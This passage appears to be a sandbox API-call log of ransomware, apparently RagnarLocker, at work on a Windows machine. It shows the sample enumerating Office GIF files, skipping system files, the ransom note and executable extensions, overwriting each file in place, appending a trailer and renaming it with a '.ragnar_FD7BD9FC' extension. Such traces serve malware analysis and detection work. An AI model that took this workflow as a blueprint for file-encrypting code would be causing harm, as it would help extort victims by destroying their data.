Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.607] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15168_.GIF" | out: lpString1="BD15168_.GIF") returned="BD15168_.GIF" [0099.607] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF") returned=".GIF" [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="autorun.inf") returned 1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="boot.ini") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="bootfont.bin") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="bootsect.bak") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="bootmgr") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="bootmgr.efi") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="desktop.ini") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="iconcache.db") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="ntldr") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="ntuser.dat") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="ntuser.ini") returned -1 [0099.607] lstrcmpiW (lpString1="BD15168_.GIF", lpString2="thumbs.db") returned -1 [0099.607] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.607] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.607] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.607] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.607] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.607] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.607] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif")) returned 0x20 [0099.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.608] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=331) returned 1 [0099.608] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.608] GetProcessHeap () returned 0x580000 [0099.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.608] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.612] VirtualAlloc (lpAddress=0x0, dwSize=0x14b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.612] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.612] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.612] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x14b, lpOverlapped=0x0) returned 1 [0099.612] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.612] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14b, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.612] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x14b, lpOverlapped=0x0) returned 1 [0099.612] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.612] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.612] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x14b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.612] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.613] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.613] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.613] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.613] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.613] GetProcessHeap () returned 0x580000 [0099.613] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.613] CloseHandle (hObject=0x10c) returned 1 [0099.613] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF" [0099.613] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF.ragnar_FD7BD9FC" [0099.613] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.614] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfaba00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdfaba00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15169_.GIF", cAlternateFileName="")) returned 1 [0099.614] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.614] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15169_.GIF" | out: lpString1="BD15169_.GIF") returned="BD15169_.GIF" [0099.614] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF") returned=".GIF" [0099.614] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.614] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="autorun.inf") returned 1 [0099.614] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="boot.ini") returned -1 [0099.614] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="bootfont.bin") returned -1 [0099.614] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="bootsect.bak") returned -1 [0099.614] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="bootmgr") returned -1 [0099.614] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="bootmgr.efi") returned -1 [0099.615] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.615] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="desktop.ini") returned -1 [0099.615] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="iconcache.db") returned -1 [0099.615] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="ntldr") returned -1 [0099.615] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="ntuser.dat") returned -1 [0099.615] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.615] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="ntuser.ini") returned -1 [0099.615] lstrcmpiW (lpString1="BD15169_.GIF", lpString2="thumbs.db") returned -1 [0099.615] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.615] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.615] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.615] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.615] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.615] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.615] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif")) returned 0x20 [0099.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.616] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=340) returned 1 [0099.616] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x14b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.616] GetProcessHeap () returned 0x580000 [0099.616] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.616] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.618] VirtualAlloc (lpAddress=0x0, dwSize=0x154, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.618] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.618] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.618] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x154, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x154, lpOverlapped=0x0) returned 1 [0099.618] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.618] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x154, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.618] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x154, lpOverlapped=0x0) returned 1 [0099.618] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x154, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.618] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.618] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.619] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.619] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.619] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.619] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.619] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.619] GetProcessHeap () returned 0x580000 [0099.619] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.619] CloseHandle (hObject=0x10c) returned 1 [0099.619] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF" [0099.619] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF.ragnar_FD7BD9FC" [0099.619] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.620] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf2be700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcf2be700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15170_.GIF", cAlternateFileName="")) returned 1 [0099.620] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.620] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15170_.GIF" | out: lpString1="BD15170_.GIF") returned="BD15170_.GIF" [0099.620] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF") returned=".GIF" [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="autorun.inf") returned 1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="boot.ini") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="bootfont.bin") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="bootsect.bak") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="bootmgr") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="bootmgr.efi") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="desktop.ini") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="iconcache.db") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="ntldr") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="ntuser.dat") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="ntuser.ini") returned -1 [0099.620] lstrcmpiW (lpString1="BD15170_.GIF", lpString2="thumbs.db") returned -1 [0099.620] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.620] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.620] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.620] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.620] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.621] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.621] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif")) returned 0x20 [0099.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.621] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=257) returned 1 [0099.621] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.621] GetProcessHeap () returned 0x580000 [0099.621] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.621] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.622] VirtualAlloc (lpAddress=0x0, dwSize=0x101, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.622] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.622] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.622] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x101, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x101, lpOverlapped=0x0) returned 1 [0099.623] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.623] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x101, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.623] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x101, lpOverlapped=0x0) returned 1 [0099.623] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x101, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.623] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.623] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x101, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.623] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.623] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.623] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.623] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.623] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.623] GetProcessHeap () returned 0x580000 [0099.623] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.623] CloseHandle (hObject=0x10c) returned 1 [0099.624] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF" [0099.624] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF.ragnar_FD7BD9FC" [0099.624] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.624] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a06a900, ftCreationTime.dwHighDateTime=0x1bd4f40, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7a06a900, ftLastWriteTime.dwHighDateTime=0x1bd4f40, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15171_.GIF", cAlternateFileName="")) returned 1 [0099.624] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.624] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15171_.GIF" | out: lpString1="BD15171_.GIF") returned="BD15171_.GIF" [0099.624] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft 